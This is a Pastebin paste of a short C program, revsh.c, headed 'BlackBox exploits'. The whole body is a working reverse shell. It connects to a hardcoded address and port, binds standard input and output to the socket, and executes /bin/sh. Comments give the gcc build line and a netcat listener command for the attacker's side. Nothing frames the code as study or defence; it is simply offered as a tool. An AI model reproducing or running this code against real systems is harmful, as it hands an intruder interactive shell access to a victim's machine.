Guest User

Untitled

a guest
Jun 18th, 2018
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.88 KB | None | 0 0
  1. BlackBox exploits # cat revsh.c
  2. /* gcc -O2 revsh.c -o revsh */
  3. /* nc -l -p 81 */
  4.  
  5. /********************************************
  6. * Reverse Shell *
  7. * Connects to MYADDR on PORT *
  8. * run "nc -l -p <PORT>" on remote computer *
  9. ********************************************/
  10. #include <stdio.h>
  11. #include <sys/types.h>
  12. #include <sys/socket.h>
  13. #include <netinet/in.h>
  14. #include <arpa/inet.h>
  15.  
  16. #define MYADDR "10.4.4.1"
  17. #define PORT 81
  18.  
  19. int main(int argc, char *argv[])
  20. {
  21. int soc = socket(2, 1, 0);
  22. struct sockaddr_in addr;
  23. addr.sin_family = AF_INET;
  24. addr.sin_port = htons(PORT);
  25. addr.sin_addr.s_addr = inet_addr(MYADDR);
  26. connect(soc, (struct sockaddr *)&addr, sizeof(struct sockaddr));
  27. dup2(soc, 0);
  28. dup2(soc, 1);
  29. dup2(soc, 2);
  30. execve("/bin/sh", 0, 0);
  31. }
Add Comment
Please, Sign In to add comment